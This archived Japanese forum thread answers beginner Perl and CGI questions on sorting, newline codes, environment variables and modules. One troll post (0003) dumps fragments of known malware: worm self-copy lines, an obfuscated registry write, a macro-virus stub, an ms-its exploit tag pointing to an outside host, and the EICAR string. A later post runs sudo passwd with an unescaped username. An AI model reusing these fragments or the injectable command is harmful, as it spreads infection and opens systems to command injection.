トップページ⇒php
1001コメント389KB

くだすれPerl(超初心者用)

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん2006/09/10(日) 13:33:48ID:???
このスレッドは、他のスレッドでは書き込めない超低レベル、  
もしくは質問者自身何が何だが分からない質問を勇気を持って書き込むスレッドです。  
Perl使いが優しくコメントを返しますが、  
お礼はPerlの布教と初心者の救済をお願いします。  
0002nobodyさん2006/09/10(日) 15:19:50ID:???
ずざ〜 !!!
0003番組の途中ですが名無しです2006/09/10(日) 15:35:26ID:????BRZ(1002)
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"; type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "/" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

クソスレ立てんな
0004nobodyさん2006/09/14(木) 02:08:37ID:???
>>3

ちゃんと通報しといたから。
0005番組の途中ですが名無しです2006/09/14(木) 08:48:47ID:???
>>4
何を?
0006nobodyさん2006/09/14(木) 19:58:38ID:xO9EEAPT
 javaアブレットとperl/CGIを組み合わせて、通信対戦オセロを作りました。
 自分のパソコン上でwebサーバーソフトを動かして、通信実験にも成功して
います。あとは、実際にレンタルサーバーを借りて、ネット上にアップするだ
けです。
 ただ、CGIを介してデータをやり取りするので、データ更新が行われるのを
確認するため、定期的にwebサーバーに接続しなければなりません。これっ
て、やっぱり、結構サーバーに負荷をかけることでしょうか?
 ロビーCGIは200行にも満たないプログラムで、参加者リストの管理と、
クライアント同士のゲームデータ(オセロですから、お互いに置いた石の位置
情報)のやり取りだけで、判定やルールなどゲーム本体のプログラムは全部ク
ライアントで処理します。CGIに接続するタイミングはロビーでは10秒お
き、ゲーム中は1〜2秒おきを予定してます。
 cgiが置ける格安か無料サーバーに置いて、通信対戦ゲームを実現したいで
すが、このシステムでは、サーバーの負荷で設置は難しいでしょうか?
 本当に、超初心者のくだすれですみませんが、どうか教えてください。
0007nobodyさん2006/09/15(金) 02:27:16ID:???
自分のパソコンのタスクマネージャでCPU利用率見てみればええんちゃう?

1秒おきに取りに行くとして一人ぶんのリクエストが86400リクエスト/日
全体で*平均対戦者数。
通常のhtmlで、たとえば1ページに画像やスクリプトが20個くらい張り付い
てると1ページで20リクエスト。4320ページ/日でリクエスト数は同じ。
そういうことだ。
0008nobodyさん2006/09/15(金) 23:00:37ID:CWad1meV
 返答ありがとうございます。

 たた、タスクマネージャーを見ても、どこをどう見ればいいのかよく分かりま
せん。本当に超初心者で、よくわかんないのです。

 リクエスト数の多さから、やっぱり設置は難しいのでしょうか。サーバー側
ではほとんど計算せず、小さなデータをやり取りしているだけなんですが・・・。
せっかく作ったので、何とかして設置したいです。
 一般的なCGIゲームのリロードの間隔ってどれぐらいでしょうか?
0009nobodyさん2006/09/15(金) 23:46:30ID:colQZo5x
mixiの足あと機能による個人情報トラッキングの対処はミクシィにどのような修正を加えて実現したんでしょうか?
0010nobodyさん2006/09/18(月) 22:10:17ID:fB7/mMBT
>>9
お願いします
0011nobodyさん2006/09/23(土) 23:15:26ID:ItJcA2cD
当方「すぐわかるPerl」という入門書で、Perlを勉強中のプログラム初心者です

【すぐわかるPerlのP.182】
sort{$a cmp $b} 対象の配列
sort{$b cmp $a} 対象の配列
sort{$a <=> $b} 対象の配列
sort{$b <=> $a} 対象の配列

{}の中には、ソートした結果が前に並ぶデータ$aと後ろに並ぶデータ$bが等しければ0、$aが大きければ-1、$bが大きければ1という3つの値を返す演算を入れます


と、言う部分なのですが、
値が等しければとか、大きければってどういう事なんですか?
$aや$bにはどんな(何の)値が入るのですか?
そもそも、値が大きい順に並ぶとか小さい順に並ぶとか
それらの値というのが、ソートされる側のファイルや配列の中に入っているレコードであるとして、
$aと$bで、昇順か降順かを判断するのなら、$aの値が$bの値よりも大きい場合、なんてありえないはずですよね?
0012nobodyさん2006/09/24(日) 00:29:10ID:???
@hoge = ('A', 'B', 'C', 'AB', 'BC', 'CD');
@foo = sort { $a cmp $b } @hoge;
foreach (@foo) { print $_, "\n"; }
0013nobodyさん2006/09/24(日) 12:43:53ID:???
>>11
「ソート」の意味わかる?
0014nobodyさん2006/09/24(日) 17:12:23ID:tF4Ji0QV
perl を利用して、Linuxユーザのパスワードを変更するプログラムに挑戦しております。
パスワード変更に使用するpasswdコマンドは対話型ですが、
スクリプトで実行するにはどのように書けば良いでしょうか?

以下を組みあわせて作りたいのですが。
$crypt_password
system("passwd $username");

よろしくお願いします。
0015142006/09/24(日) 18:24:23ID:???
下記サイトを参考に作ってみたスクリプトがあります。
ttp://search.luky.org/fol.2001/msg00436.html


$crypt_pass = crypt($password,"AB");
$chgpw_cmd = <<"EOF";
sudo /usr/bin/passwd $username
$crypt_pass
$crypt_pass
EOF

system("$chgpw_cmd");


結果、以下のエラーが表示されます

Error message:
malformed header from script. Bad header=Changing password for user $username

Error 500


どのように書き換えれば動くのでしょうか。
よろしくお願いします。
0016nobodyさん2006/09/25(月) 00:15:33ID:???
まずhttpのヘッダを出力するよろし
0017112006/09/25(月) 17:41:25ID:V/IIhk9y
>>12
?
>>13
わかりますよ。
ファイル内のレコードを、文字列や数値の大きい順、または小さい順に並べ替える事ですよね
0018nobodyさん2006/09/26(火) 06:02:57ID:???
>>17
そもそも「ファイル内のレコード」とか造語使って話されてもな。

$a <=> $bが数値の昇順、$b <=> $aが数値の逆順
sort{$a cmp $b} 対象の配列 は
sort 対象の配列 と同じで文字列の昇順
{$b cmp $a} が文字列の逆順

これを理解してるのか?
って聞かれてる

ソートの語意を知ってるか聞いてるわけじゃない。
0019112006/09/26(火) 18:56:12ID:QXj/N9Vs
>>18
それは理解してますよ。

「レコード」というのは、ファイル内の改行までの1段落を「レコード」と呼ぶそうです。
本にそう書いてあったので。

{$b cmp $a}にしても、値の大きさで言うなら$b>$aですよね
だから、昇順にソートしたければ$aを左辺に
降順にしたければ$bを左辺にするわけで

なのに、入門書の説明では
『{}の中には、ソートした結果が前に並ぶデータ$aと後ろに並ぶデータ$bが等しければ0、$aが大きければ-1、$bが大きければ1という3つの値を返す演算を入れます』
と

$a<$bであるのだから、『$aが大きければ』なんて状況自体がそもそもありえないのではないでしょうか?
そこら辺で、自分はこの入門書の説明が理解できずに行き詰ってますm(_ _)m
0020nobodyさん2006/09/26(火) 22:45:11ID:???
これやってみろ。
my @sorted = sort {
print $a . "\t" . $b . "\n" ;
$a <=> $b
} qw( 5 10 3 5 4 2 1 ) ;
少くとも $a < $b なんて確定ではないことは明白。

ttp://www.ics.kagoshima-u.ac.jp/~fuchida/edu/algorithm/sort-algorithm/merge-sort.html
ここ読め。perl 5.8 以降の sort のアルゴリズムだ。
0021nobodyさん2006/09/26(火) 23:48:31ID:8QEjX/wi
掲示板のパスワードを忘れたので、教えて欲しいとのメールを貰いました。
直接ログファイルを見たのですがencryptで暗号化されています。
これって復元はできないので、教えることは出来ないのでしょうか?
0022nobodyさん2006/09/27(水) 00:40:05ID:???
暗号化されたものを教えられてもパスワードの複合化はできまいが、
ログファイルを直接書き換える事で任意のパスワードに変更する事はできる。

試しに適当なパスワードを付けたダミー投稿をやってみて暗号化後の文字列を確認し、
ログファイルの該当部分を書き換えてうp→新しいパスワードを通知でどうかな。
0023212006/09/29(金) 22:57:36ID:???
>>22
どうもありがとう!
0024nobodyさん2006/10/12(木) 00:21:32ID:Gn08F8cO
配列変数に「\n」を入れて標準出力使用としています。
たとえは、
$data[0]="\n";
$data[1]="\n";
$data[2]="ななしさん\n";
$data[3]="\n";
$data[4]="としあき\n";
として
print @data;
としたら、クライアント側では



ななしさん

としあき

と、受け取るようにしたいです。
で、自分のwindowsのパソコンでサーバーソフトのapacheを立ち上げて、ローカルで試した時はうまく行きますが、レンタルサーバ上では、"\n"は改行せず、初めから無いことになって、
ななしさんとしあき
となってしまいます。
perlを始めて3ヶ月で、いろいろ検索したのですか、よく分かりません。
どうか、改行する方法を教えてください。
0025nobodyさん2006/10/12(木) 00:42:24ID:???
<br>
0026242006/10/12(木) 07:47:06ID:ECd/ht+A
>>25
早速の返答ありがとうございます。
もう少し詳しく書かなければいけなかったのですが、cgi送られたデータはプラウザで受け取るのではなくて、HSPで作ったクライアントソフトで受け取ります。
このように、改行を含め、横一列づつに区切られた文字列型のデータはHSPのクライアント側で「ノートパッド命令」というのを使ってデータを加工したいのです。
プラウザじゃないですから、<BR>では改行できませんし、またデータが繋がったままだと、ノートパッド命令が使えず、データは加工できないのです。
自分のパソコンでサーバーソフトを立ち上げ、ローカルで試した時はうまくいくのに、レンタルサーバにあげたとたんうまく行きません。
この違いは、osのせいなのか、ネット上にあげたせいなのか、よく分かりません。
わかる人がいましたら、どうか教えてください。
0027nobodyさん2006/10/12(木) 13:40:15ID:???
>>26
改行コードはOS依存
HSPはWindowsアプリだから、改行コードがWindows固定なんじゃないかね?
Windowsは\x0d\x0aでUnix系は\x0aなので、\x0dを付け足してみたら?
0028nobodyさん2006/10/12(木) 13:41:02ID:???
書き忘れ
レンタルサーバーがWindowsじゃなければ、の話。
0029nobodyさん2006/10/12(木) 22:06:48ID:bEOo1KBw
CGI_Liteというのを使いたいので
CPANってゆーの入れてみたんですけど
その後どうするのでしょうか?
0030242006/10/12(木) 22:59:42ID:D35FP/7g
>>27
返答ありがとうございます。
まだ試してはいませんが、原因は多分これです。
レンタルサーバのOSはUnixですし、自分のwindowsパソコンで、ローカルで試した時はちゃんと動作しましたし・・・。
早速perlを書き直します。
本当にありがとうございます。
0031nobodyさん2006/10/12(木) 23:36:42ID:???
>>29
モジュールがどういったものか理解してるのかな?
とりあえず、そのキーワードでググって一通り目を通してきてください。
0032292006/10/14(土) 16:27:10ID:5AFK7g0o
>31さん
ううう だいたい理解しているつもりなのですが、、、
CGI_Liteを使っている所では下記のようにでるのですが
これってうまくCGI_liteがインストールされていないということでしょうか?
[hoge@localhost member]# perl detail.cgi
Can't locate hogehogeLib.pl in @INC (@INC contains: /usr/lib/perl5/site_perl/5.8.6/i386-linux-thread-multi (略)/usr/lib/perl5/5.8.6 .) at detail.cgi line 2.

ご助力いただけますとありがたいです。
0033nobodyさん2006/10/14(土) 16:33:46ID:???
CGI::Liteを使え
0034242006/10/15(日) 00:08:41ID:YK613lYV
おかげさまで改行コードの件は解決しましたが、また別のことで質問させてく
ださい。

自宅のwindowsパソコンでサーバソフトを動かし、ローカルで接続している時
は、環境変数HTTP_User_Agentを受け取ってくれますが、unixのレンタル
サーバー上では、HTTP_User_Agentを受け取ってくれません。
改行コードのようにOSで違いがあるのかもしれませんが、HSPクライアント
のHTTPヘッダーの記述がただしいから、サーバーに接続できるし、CGIにデー
タをちゃんと送れていると思います。
HTTP_User_Agent以外の環境変数、REMOTE_ADDRやREMOTE_HOSTはちゃんと受け
取っています。もちろん、POSTで送信したデータは、CONTENT_LENGTHに入って
います。
なぜかHTTP_User_Agentだけ、ネット上においてあるunixのレンタルサーバーに
情報が入ってきません。
もし原因が分かる方がおりましたら、どうか教えてください。
0035nobodyさん2006/10/15(日) 00:17:49ID:???
変なセキュリティソフトでも入れてるんじゃないの?
0036242006/10/15(日) 10:44:12ID:sPLkCqaF
すみません、自力で解決しました。

windowsでは、使っているクライアントやプラウザを知る環境変数は
「HTTP_User_Agent」でも動きますが、unixでは「HTTP_USER_AGENT」と
ちゃんと書かないとダメみたいです。
大文字と小文字だけで、大きな違いです。
>>35さん書き込みありがとうございます。
本当に大変お騒がせしました。
0037nobodyさん2006/10/16(月) 16:10:49ID:1+lDbjJH
@niftyのCGIは、Perlの標準ライブラリ使用禁止なんだな〜。つまらない。
0038nobodyさん2006/10/26(木) 07:54:58ID:????BRZ(1033)
Perlで2chに書き込みたいんですが、クッキーだとかなんだとか意味がわかりません
dat取得するまではなんとかわかるのですが……、参考になるサイトなどはありませんか?
0039nobodyさん2006/10/26(木) 08:21:44ID:???
荒らしツールでつか?
0040nobodyさん2006/10/26(木) 09:05:17ID:????BRZ(1033)
昔2chでIDバトルというスレを見つけたのを思い出して真似してみようかなと思っています。
0041nobodyさん2006/10/26(木) 10:32:06ID:???
つまりIDをとるだけのためにいちいち書き込むと?
0042nobodyさん2006/10/26(木) 11:11:39ID:????BRZ(1033)
ID取得はdatから抽出することでできたんですが、スレに結果を出力できません……。
ローカルで結果を何回も出力させていっても自分がパンクしそうなので自動化しようと思った次第です
0043nobodyさん2006/10/26(木) 16:14:52ID:???
あー、そういう事か。理解した。

基本的に2chは容易に荒らしツールに転用でき得る外部からの書き込みには厳しいし
それがperlスクリプトと来てはなおさらだろう。
rep2みたいに何とかやってのけた例はあるけど(まああれはPHPだが)あれも
FOXに荒らし専用ツールと勘違いされて一時期えらい事になっていたし、
やるならdatから必要なIDをまとめて所得して処理を行い、
後はコピペするのみの形に整形したテキストを出力するスクリプトに留めた方が良いと思うよ。
0044nobodyさん2006/10/26(木) 16:45:14ID:???
Perlの2ch書き込みソフトならスレ保守ツールということでVectorにある。少々古くてhana=mogeraの追加修正が必要だが。
0045nobodyさん2006/10/26(木) 22:03:37ID:???
>コピペするのみの形に整形したテキスト
ここに質問するまではそれをベースに作っていたんですが、楽にできないものかと……。
勘違いされると確かにまずいですよね、保守ツールだったらよく見かけるんですけど……。

>Perlの2ch書き込みソフト
ありがとうございます、早速探してみます。
■ このスレッドは過去ログ倉庫に格納されています